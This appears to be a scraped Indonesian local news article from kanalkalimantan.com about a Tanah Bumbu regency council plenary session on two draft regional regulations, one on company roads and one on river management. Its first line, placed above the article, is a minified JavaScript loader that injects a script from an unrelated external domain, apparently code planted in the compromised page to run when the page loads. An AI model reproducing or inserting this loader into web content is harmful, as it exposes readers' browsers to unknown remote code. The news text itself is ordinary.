(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Bupati Tanah Bumbu HM Zairullah Azhar melalui Asisten Administrasi Umum Andi Aminuddin menghadiri Rapat Paripurna DPRD (Dewan Perwakilan Rakyat Daerah) Kabupaten Tanah Bumbu di Ruang Rapat Paripurna Gedung DPRD Tanbu, Rabu (19/1/2021).
Rapat Paripurna DPRD Tanbu dalam rangka Jawaban DPRD atas pendapat Bupati terhadap 2 buah Raperda Iniasiatif Dewan tentang Penyelenggaraan Jalan Khusus Perusahaan dan Raperda Pengelolaan Alur Sungai.
Rapat ini dipimpin Wakil Ketua DPRD Tanbu Said Ismail Alydrus dan diikuti anggota DPRD Tanbu, Kepala SKPD, unsur Forkopimda, Perusda, dan tamu undangan.
Adapun agenda pada rapat kali ini adalah Penyampaian Jawaban DPRD Tanah Bumbu atas Pendapat Bupati terhadap Dua Buah Raperda Inisiatif DPRD yang disampaikan dalam rapat paripurna sebelumnya.
Baca juga : Ketua PWNU Kalsel Apresiasi PCNU Alabio Gelar Lailatul Ijtima
Dalam sambutannya, Ketua DPRD Tanbu H. Supiansyah ZA melalui Andrean Atma Maulani dari Komisi III menyampaikan, DPRD menyampaikan ucapan terima kasih dan penghargaan yang setinggi-tinggi kepada pihak eksekutif terkhusus kepada Bupati yang telah memberikan tanggapan positif dan apresiasi terhadap Dua buah Raperda inisiatif Dewan.
Selain itu dirinya juga menyampaikan ucapan terima kasih atas masukan berupa saran dan kritik yang telah diberikan oleh pihak eksekutif.
“Meskipun pihak eksekutif telah menerima Dua Buah Raperda Inisiatif DPRD, namun ada beberapa catatan dan masukan yang harus kita tindak lanjuti dan menjadi pembicaraan selanjutnya,” jelasnya.
Terutama Raperda tentang Penyelenggaraan Jalan Khusus, dimana pihak eksekutif pada dasarnya sangat mengapresiasi dan menyambut baik adanya Raperda ini dengan selanjutnya Raperda ini siap dimasukkan ke dalam agenda perencanaan berikutnya.
Baca juga : Deta Spinkz Jual Zenith, Macan Barbar Polsek Liang Anggang Sita Uang 745 Ribu
Kemudian terkait saran Raperda tentang Pengelolaan Air Sungai, pihak eksekutif memandang perlu adanya dilakukan kajian dalam mendorong percepatan pembangunan yang merata dan berkeadilan di Tanah Bumbu.
“Menyambut saran tersebut, maka kami pihak legislatif meminta kepada pihak eksekutif melakukan dulu studi kelayakan atau kajian ilmiah melalui dinas atau lembaga terkait, hal ini sebagai perwujudan dari semangat sinergitas dari pihak eksekutif dan pihak legislatif,” pungkasnya.
Studi kelayakan atau kajian ilmiah yang dimaksud akan menjadi bahan dalam penyusunan naskah akademik dimana sesuai dengan Permendagri RI No. 120 Tahun 2018 Perubahan atas Permendagri No. 80 Tahun 2012.
“Semoga dengan kerja keras kita bersama dalam menjalankan amanah rakyat mampu memberikan kontribusi nyata terhadap mutu dan kualitas pelayanan yang optimal kepada masyarakat terutama dalam mewujudkan kesejahteraan masyarakat di Bumi Bersujud,” harapnya. (kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
77 Suara Sah dan 243 Suara Tidak Sah Hasil TPS 01 Guntung Paikat Read More
KANALKALIMANTAN.COM, MARTAPURA - Perolehan suara sementara dari perhitungan cepat yang dilakukan tim pasangan H Saidi… Read More
Lisa Halaby Dikalahkan Suara Tidak Sah di TPS Sendiri Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim pemenangan Muhidin-Hasnuryadi Sulaiman mengklaim kemenangan telak pada Pemilihan Gubernur dan Wakil… Read More
KANALKALIMANTAN.COM, MARTAPURA - Pasangan Calon Bupati Banjar nomor urut 01 H Saidi Mansyur dan H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ketua Komisi II Dewan Perwakilan Rakyat Republik Indonesia (DPR RI), Muhammad Rifqinizamy… Read More
This website uses cookies.